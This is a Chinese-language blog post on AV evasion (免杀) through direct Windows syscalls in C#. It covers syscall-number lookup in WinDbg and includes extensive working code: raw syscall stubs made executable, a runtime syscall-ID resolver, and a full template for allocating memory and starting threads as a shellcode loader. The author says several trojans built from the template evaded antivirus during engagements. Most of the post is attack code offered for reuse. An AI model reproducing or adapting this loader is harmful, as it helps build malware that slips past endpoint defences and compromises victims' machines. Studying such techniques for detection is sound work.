C# syscall免杀

  1. 前言
  2. 系统调用
  3. 如何获取syscall的系统调用号
  4. C#下如何编写
  5. 参考链接

前言

最近打了两个项目,大多数笔记都更新在星球了。想起来,很久没写博客了,更新一下
最近研究了一下C#的syscall,记录一下

系统调用

抄来的介绍

在Windows中,进程架构分为两种处理器访问模式——用户模式和内核模式。这些模式的实现背后的想法是保护用户应用程序不访问和修改任何关键的操作系统数据。Chrome、Word 等用户应用程序都运行在用户模式下,而操作系统代码(如系统服务和设备驱动程序)都运行在内核模式下。

内核模式特指处理器中的一种执行模式,它授予对所有系统内存和所有 CPU 指令的访问权限。一些 x86 和 x64处理器通过使用另一个称为环级别的术语来区分这些模式。利用环级别特权模式的处理器定义了四个特权级别 - 其他称为环- 以保护系统代码和数据。这些振铃级别的示例如下所示。

在 Windows 中,Windows 仅使用其中两个环 - 内核模式的环 0 和用户模式的环 3。现在,在正常的处理器操作期间,处理器将根据处理器上运行的代码类型在这两种模式之间切换。那么,这种“环级”安全性背后的原因是什么?那么,当您启动用户模式应用程序时,Windows 将为该应用程序创建一个新进程,并为该应用程序提供一个私有虚拟地址空间和一个私有句柄表。 这个“句柄表”是一个包含句柄的内核对象。句柄只是对特定系统资源的抽象引用值,例如内存区域或位置、打开的文件或管道。它的最初目标是对 API 用户隐藏真实的内存地址,从而允许系统执行某些管理功能,例如重组物理内存。 总体而言,handles 作业是针对任务内部结构的,例如:令牌、进程、线程等。下面可以看到一个句柄的示例。

因为应用程序的虚拟地址空间是私有的,所以一个应用程序不能更改属于另一个应用程序的数据——除非进程通过文件映射或通过VirtualProtect函数将其私有地址空间的一部分作为共享内存部分提供,或者除非一个进程有权打开另一个进程以使用跨进程内存功能,例如ReadProcessMemoryWriteProcessMemory

现在,与用户模式不同,在内核模式下运行的所有代码共享一个称为系统空间的虚拟地址空间。这意味着内核模式驱动程序不与其他驱动程序和操作系统本身隔离。因此,如果驱动程序不小心写入了错误的地址空间或进行了恶意操作,那么它可能会危及系统或其他驱动程序。尽管有一些保护措施可以防止操作系统受到干扰——比如内核补丁保护又名补丁保护,但我们不必担心这些。【由于内核容纳了操作系统的大部分内部数据结构(例如句柄表),任何时候用户模式应用程序需要访问这些数据结构或需要调用内部 Windows 例程来执行特权操作(例如读取一个文件),那么它必须首先从用户模式切换到内核模式。这就是系统调用发挥作用的地方。 为了让用户应用程序在内核模式下访问这些数据结构,该进程使用了一个特殊的处理器指令触发器,称为“系统调用”。该指令触发处理器访问模式之间的转换,并允许处理器访问内核中的系统服务调度代码。】这反过来调用Ntoskrnl.exe或Win32k.sys中的适当内部函数,这些函数包含内核和 OS 应用程序级逻辑。

问题:
1.不同的系统的syscall不一样,怎么样才能实现在不同系统里面动态调用

如何获取syscall的系统调用号

准备工具:windbg
获取API地址

x ntdll!NtCreateFile

指定地址查看反汇编

u 00007ffd`3826db50

得到的汇编

ntdll!ZwCreateFile:
00007ffd`3826db50 4c8bd1          mov     r10,rcx
00007ffd`3826db53 b855000000      mov     eax,55h
00007ffd`3826db58 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffd`3826db60 7503            jne     ntdll!ZwCreateFile+0x15 (00007ffd`3826db65)
00007ffd`3826db62 0f05            syscall
00007ffd`3826db64 c3              ret
00007ffd`3826db65 cd2e            int     2Eh
00007ffd`3826db67 c3              ret

其中这里的mov eax,55h就是系统调用号,这里的NtCreateFile的系统调用号就是0x55。将系统调用号传入eax寄存器,将调用系统调用指令。CPU 将在此处跳转到内核模式并执行指定的特权操作。
这里可以看到关键的汇编指令:
(参数会传到r10,r10在传给rcx)

mov r10,rcx //规定
mov eax,<系统调用号>
syscall
ret

获取API函数需要的内存权限

!address 00007ffd`3826db50

C#下如何编写

代码示例来源:https://github.com/SolomonSklash/SyscallPOC/tree/master/Syscall

整体代码思路:
->先把提取出来的系统编号那段汇编放到byte[]数组
->定义一个函数实现委托
->定义byte指针,将汇编的byte[]数组赋予该指针
->定义名为memoryAddress的int变量,将byte指针赋予
->利用VirtualProtectEx修改内存权限
->利用Marshal.GetDelegateForFunctionPointer将函数转换为一个委托
->返回该委托

问题:
为什么要用unsafe
为什么要用Marshal.GetDelegateForFunctionPointer
为什么有UnmanagedFunctionPointer(CallingConvention.StdCall)

为什么要用unsafe

当一个代码块使用 unsafe 修饰符标记时,C# 允许在函数中使用指针变量。不安全代码或非托管代码是指使用了指针变量的代码块

为什么要有Marshal.GetDelegateForFunctionPointer

在.net 2.0 中,框架直接提供了 Marshal.GetDelegateForFunctionPointer 来转换一个函数指针为一个委托
C# 中的委托(Delegate)类似于 C 或 C++ 中函数的指针。委托(Delegate) 是存有对某个方法的引用的一种引用类型变量。引用可在运行时被改变。
委托(Delegate)特别用于实现事件和回调方法。所有的委托(Delegate)都派生自 System.Delegate 类。
参考链接:
https://cloud.tencent.com/developer/article/1798625
https://www.runoob.com/csharp/csharp-delegate.html

为什么有UnmanagedFunctionPointer(CallingConvention.StdCall)

UnmanagedFunctionPointer
控制作为非托管函数指针传递给非托管代码或从非托管代码传递的委托签名的封送处理行为。这个类不能被继承。
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.unmanagedfunctionpointerattribute.-ctor?view=net-6.0#system-runtime-interopservices-unmanagedfunctionpointerattribute-ctor(system-runtime-interopservices-callingconvention)

CallingConvention.StdCal 被调用者清理堆栈。
属于调用约定枚举里面的参数
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.callingconvention?view=net-6.0

写死的syscall示例代码1

static byte[] bNtWaitForSingleObject =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
            0xb8, 0x04, 0x00, 0x00, 0x00,   // mov eax,4
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };
        public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout)
        {
            // set byte array of bNtWaitForSingleObject to new byte array called syscall
            byte[] syscall = bNtWaitForSingleObject;


            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;


                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                        {
                        throw new Win32Exception();
                    }


                    // Get delegate for NtWaitForSingleObject
                    Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject));


                    return (NTSTATUS)assembledFunction(Object, Alertable, Timeout);
                }
            }
        }


public struct Delegates
        {
                    <省略>
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout);

示例代码2

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using static Syscall.Native;

namespace Syscall
{
    class Syscalls
    {
        /*
        MSDN:
        NTSTATUS NtAllocateVirtualMemory(
            HANDLE ProcessHandle,         // C#: IntPtr
            PVOID* BaseAddress,           // C#: IntPtr
            ULONG_PTR ZeroBits,           // C#: IntPtr
            PSIZE_T RegionSize,           // C#: ref UIntPtr
            ULONG AllocationType,         // C#: UInt32
            ULONG Protect                 // C#: UInt32
            );
        ReactOS:
        NTSTATUS NtAllocateVirtualMemory(
            _In_ HANDLE ProcessHandle,
            _Inout_ _Outptr_result_buffer_(* RegionSize) PVOID *BaseAddress,
            _In_ ULONG_PTR ZeroBits,
            _Inout_ PSIZE_T RegionSize,
            _In_ ULONG AllocationType,
            _In_ ULONG Protect
            ); */
        /*   0x18 in all Windows 10 version so far   */
        static byte[] bNtAllocateVirtualMemory =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
            0xb8, 0x18, 0x00, 0x00, 0x00,   // mov eax,18h
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };

        public static NTSTATUS NtAllocateVirtualMemory(
            IntPtr ProcessHandle,
            ref IntPtr BaseAddress,
            IntPtr ZeroBits,
            ref UIntPtr RegionSize,
            uint AllocationType,
            uint Protect )
        {
            // set byte array of bNtAllocateVirtualMemory to new byte array called syscall
            byte[] syscall = bNtAllocateVirtualMemory;

            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;

                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                    {
                        throw new Win32Exception();
                    }

                    // Get delegate for NtAllocateVirtualMemory
                    Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));

                    return (NTSTATUS)assembledFunction(
                        ProcessHandle,
                        ref BaseAddress,
                        ZeroBits,
                        ref RegionSize,
                        AllocationType,
                        Protect);
                }
            }
        }

        // https://securityxploded.com/ntcreatethreadex.php
        //NTSTATUS NtCreateThreadEx(
            // OUT PHANDLE hThread,                         // C#: out IntPtr
            // IN ACCESS_MASK DesiredAccess,                // C#: ACCESS_MASK (Native.cs)
            // IN LPVOID ObjectAttributes,                  // C#: IntPtr.Zero
            // IN HANDLE ProcessHandle,                     // C#: IntPtr
            // IN LPTHREAD_START_ROUTINE lpStartAddress,    // C#: IntPtr
            // IN LPVOID lpParameter,                       // C#: IntPtr
            // IN BOOL CreateSuspended,                     // C#: Boolean/Int
            // IN ULONG StackZeroBits,                      // C#: uint
            // IN ULONG SizeOfStackCommit,                  // C#: uint
            // IN ULONG SizeOfStackReserve,                 // C#: uint
            // OUT LPVOID lpBytesBuffer                     // C#: IntPtr
            // );
        /*   Windows 10 1909: 0xBD, Windows 10 2004: 0xC1   */
        static byte[] bNtCreateThreadEx =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
        //    0xb8, 0xc1, 0x00, 0x00, 0x00,   // mov eax,0BDh
            0xb8, 0xbd, 0x00, 0x00, 0x00,   // mov eax,0BDh
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };
        public static NTSTATUS NtCreateThreadEx(
            out IntPtr hThread,
            ACCESS_MASK DesiredAccess,
            IntPtr ObjectAttributes,
            IntPtr ProcessHandle,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            bool CreateSuspended,
            uint StackZeroBits,
            uint SizeOfStackCommit,
            uint SizeOfStackReserve,
            IntPtr lpBytesBuffer
            )
        {
            // set byte array of bNtCreateThread to new byte array called syscall
            byte[] syscall = bNtCreateThreadEx;

            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;

                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                    {
                        throw new Win32Exception();
                    }

                    // Get delegate for NtCreateThread
                    Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx));

                    return (NTSTATUS)assembledFunction(
                        out hThread,
                        DesiredAccess,
                        ObjectAttributes,
                        ProcessHandle,
                        lpStartAddress,
                        lpParameter,
                        CreateSuspended,
                        StackZeroBits,
                        SizeOfStackCommit,
                        SizeOfStackReserve,
                        lpBytesBuffer
                        );
                }
            }
        }

        /*
        MSDN:
        NTSTATUS ZwWaitForSingleObject(
            HANDLE Handle,             // C#: IntPtr
            BOOLEAN Alertable,         // C#: Boolean
            PLARGE_INTEGER Timeout     // C#: Int64
            );
        ReactOS:
        NTSTATUS NtWaitForSingleObject(
             In_ HANDLE Object,
             In_ BOOLEAN Alertable,
             In_opt_ PLARGE_INTEGER Time
             ); */
        /*   0x4 in all Windows 10 versions so far   */
        static byte[] bNtWaitForSingleObject =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
            0xb8, 0x04, 0x00, 0x00, 0x00,   // mov eax,4
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };
        public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout)
        {
            // set byte array of bNtWaitForSingleObject to new byte array called syscall
            byte[] syscall = bNtWaitForSingleObject;

            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;

                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                        {
                        throw new Win32Exception();
                    }

                    // Get delegate for NtWaitForSingleObject
                    Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject));

                    return (NTSTATUS)assembledFunction(Object, Alertable, Timeout);
                }
            }
        }
        public struct Delegates
        {
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtAllocateVirtualMemory(
                IntPtr ProcessHandle,
                ref IntPtr BaseAddress,
                IntPtr ZeroBits,
                ref UIntPtr RegionSize,
                ulong AllocationType,
                ulong Protect);
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtCreateThreadEx(
                out IntPtr hThread,
                ACCESS_MASK DesiredAccess,
                IntPtr ObjectAttributes,
                IntPtr ProcessHandle,
                IntPtr lpStartAddress,
                IntPtr lpParameter,
                bool CreateSuspended,
                uint StackZeroBits,
                uint SizeOfStackCommit,
                uint SizeOfStackReserve,
                IntPtr lpBytesBuffer
                );
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout);
        }
    }
}

NtAllocateVirtualMemory示例代码
不同的系统的syscall不一样,怎么样才能实现在不同系统里面动态调用

       public static uint GetSyscallID(string SysFunName)
        {
                     uint SyscallID = 0;
                     IntPtr SyscallID_mem =  Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID)); //先获取SyscallID的内存大小 再分配内存
                     RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID)); //用0填充内存
                     IntPtr hModule = GetModuleHandle("ntdll.dll"); //获取ntdll基址
                     IntPtr FunAddr = GetProcAddress(hModule, SysFunName); //获取API函数地址
                     IntPtr CallAddr = FunAddr + 4; //获取系统调用编号地址
                     uint temp;
                     bool read_result = ReadProcessMemory(GetCurrentProcess(),  CallAddr, SyscallID_mem, 4, out temp); //读取内存编号
                     // Console.WriteLine("Error: " +  Marshal.GetLastWin32Error());
                     // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID"  + SyscallID + ", temp: " + temp);
                     SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem); //从非托管内存中读取 32 位有符号整数。支持从未对齐的内存位置读取 (相当于转成int)
                     return SyscallID; //返回内存编号
        }


             public static byte[] SYSbyte1 =
              {
                     0x4c, 0x8b, 0xd1,          // 0x4c, 0x8b, 0xd1=mov r10,rcx、 0xb8=mov eax
            0xb8
              };
              public static byte[] SYSbyte2 =
              {
                     0x00, 0x00, 0x00,   // 0x0F, 0x05=syscall、0xc3=ret
            0x0F, 0x05,                    
            0xC3                           
        };

public static uint NtAllocateVirtualMemory
              (
                     IntPtr ProcessHandle,
                     ref IntPtr BaseAddress,
                     IntPtr ZeroBits,
                     ref UIntPtr RegionSize,
                     uint AllocationType,
                     uint Protect
              )
              {
                     // set byte array of bNtAllocateVirtualMemory to new byte  array called syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray(); //拼接syscall汇编指令
                     /*
                     foreach(byte temp in sysfinal)
            {
                           Console.WriteLine("Sysfinal: " + temp);
                     }
                     */
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtAllocateVirtualMemory
                                  DelegatesStruct.NtAllocateVirtualMemory  assembledFunction =  (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory));
                                  return (uint)assembledFunction(
                                         ProcessHandle,
                                         ref BaseAddress,
                                         ZeroBits,
                                         ref RegionSize,
                                         AllocationType,
                                         Protect);
                           }
                     }
              }

API Syscall声明-执行shellcode整套完整模板 - 来源代码:https://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Diagnostics;
namespace SysCall_ShellcodeLoad
{
    class Auto_NativeCode
    {
              [DllImport("kernel32.dll")]
              public static extern bool VirtualProtectEx
              (
                     IntPtr hProcess,
                     IntPtr lpAddress,
                     UIntPtr dwSize,
                     uint flNewProtect,
                     out uint lpflOldProtect
               );
              [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true,  SetLastError = true)]
              static extern IntPtr GetProcAddress(IntPtr hModule, string  procName);
              [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
              public static extern IntPtr GetModuleHandle(string lpModuleName);
              [DllImport("kernel32.dll", SetLastError = true)]
              public static extern IntPtr GetCurrentProcess();
              [DllImport("kernel32.dll")]
              public static extern void RtlZeroMemory(IntPtr pBuffer, int length);
              [DllImport("kernel32.dll", SetLastError = true)]
              static extern bool ReadProcessMemory(
                     IntPtr hProcess,
                     IntPtr lpBaseAddress,
                     IntPtr lpBuffer,
                     int dwSize,
                     out uint lpNumberOfBytesRead
              );
              public uint NTSTATUS;
              public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
              // public uint SYSid = 0;
              public static byte[] SYSbyte1 =
              {
                     0x4c, 0x8b, 0xd1,               
            0xb8
              };
              public static byte[] SYSbyte2 =
              {
                     0x00, 0x00, 0x00,  
            0x0F, 0x05,                    
            0xC3                           
        };
              public enum AllocationType : ulong
              {
                     Commit = 0x1000,
                     Reserve = 0x2000,
                     Decommit = 0x4000,
                     Release = 0x8000,
                     Reset = 0x80000,
                     Physical = 0x400000,
                     TopDown = 0x100000,
                     WriteWatch = 0x200000,
                     LargePages = 0x20000000
              }
              public static uint GetSyscallID(string SysFunName)
        {
                     uint SyscallID = 0;
                     IntPtr SyscallID_mem =  Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID));
                     RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID));
                     IntPtr hModule = GetModuleHandle("ntdll.dll");
                     IntPtr FunAddr = GetProcAddress(hModule, SysFunName);
                     IntPtr CallAddr = FunAddr + 4;
                     uint temp;
                     bool read_result = ReadProcessMemory(GetCurrentProcess(),  CallAddr, SyscallID_mem, 4, out temp);
                     // Console.WriteLine("Error: " +  Marshal.GetLastWin32Error());
                     // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID"  + SyscallID + ", temp: " + temp);
                     SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem);
                     Console.WriteLine("SyscallID:{0:x}",SyscallID);
                     return SyscallID;
        }
              public static uint NtAllocateVirtualMemory
              (
                     IntPtr ProcessHandle,
                     ref IntPtr BaseAddress,
                     IntPtr ZeroBits,
                     ref UIntPtr RegionSize,
                     uint AllocationType,
                     uint Protect
              )
              {
                     // set byte array of bNtAllocateVirtualMemory to new byte  array called syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray();
                     /*
                     foreach(byte temp in sysfinal)
            {
                           Console.WriteLine("Sysfinal: " + temp);
                     }
                     */
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtAllocateVirtualMemory
                                  DelegatesStruct.NtAllocateVirtualMemory  assembledFunction =  (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory));
                                  return (uint)assembledFunction(
                                         ProcessHandle,
                                         ref BaseAddress,
                                         ZeroBits,
                                         ref RegionSize,
                                         AllocationType,
                                         Protect);
                           }
                     }
              }
              public static uint NtCreateThreadEx
           (
                  out IntPtr hThread,
                  uint DesiredAccess,
                  IntPtr ObjectAttributes,
                  IntPtr ProcessHandle,
                  IntPtr lpStartAddress,
                  IntPtr lpParameter,
                  bool CreateSuspended,
                  uint StackZeroBits,
                  uint SizeOfStackCommit,
                  uint SizeOfStackReserve,
                  IntPtr lpBytesBuffer
           )
              {
                     // set byte array of bNtCreateThread to new byte array called  syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtCreateThreadEx");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray();
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtCreateThread
                                  DelegatesStruct.NtCreateThreadEx  assembledFunction =  (DelegatesStruct.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtCreateThreadEx));
                                  return (uint)assembledFunction(
                                         out hThread,
                                         DesiredAccess,
                                         ObjectAttributes,
                                         ProcessHandle,
                                         lpStartAddress,
                                         lpParameter,
                                         CreateSuspended,
                                         StackZeroBits,
                                         SizeOfStackCommit,
                                         SizeOfStackReserve,
                                         lpBytesBuffer
                                   );
                           }
                     }
              }
              public static uint NtWaitForSingleObject(IntPtr Object, bool  Alertable, uint Timeout)
              {
                     // set byte array of bNtWaitForSingleObject to new byte array  called syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtWaitForSingleObject");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray();
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtWaitForSingleObject
                                  DelegatesStruct.NtWaitForSingleObject  assembledFunction =  (DelegatesStruct.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtWaitForSingleObject));
                                  return (uint)assembledFunction(Object,  Alertable, Timeout);
                           }
                     }
              }
              public struct DelegatesStruct
              {
                     [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                     public delegate uint NtAllocateVirtualMemory(
                           IntPtr ProcessHandle,
                           ref IntPtr BaseAddress,
                           IntPtr ZeroBits,
                           ref UIntPtr RegionSize,
                           ulong AllocationType,
                           ulong Protect);
                     [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                     public delegate uint NtCreateThreadEx(
                           out IntPtr hThread,
                           uint DesiredAccess,
                           IntPtr ObjectAttributes,
                           IntPtr ProcessHandle,
                           IntPtr lpStartAddress,
                           IntPtr lpParameter,
                           bool CreateSuspended,
                           uint StackZeroBits,
                           uint SizeOfStackCommit,
                           uint SizeOfStackReserve,
                           IntPtr lpBytesBuffer
                           );
                     [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                     public delegate uint NtWaitForSingleObject(IntPtr Object,  bool Alertable, uint Timeout);
              }
       }
}

最后就是实现shellcode执行,按照C翻译就行。或者CV

在项目里面用这个模板做的几个马,免杀效果都不错

参考链接

https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
https://jhalon.github.io/utilizing-syscalls-in-csharp-2/
https://www.solomonsklash.io/syscalls-for-shellcode-injection.html
https://github.com/SolomonSklash/SyscallPOC
https://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:C# syscall免杀

本文作者:九世

发布时间:2022-11-22, 03:02:36

最后更新:2022-11-22, 03:39:10

原始链接:http://jiushill.github.io/posts/78d2031e.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录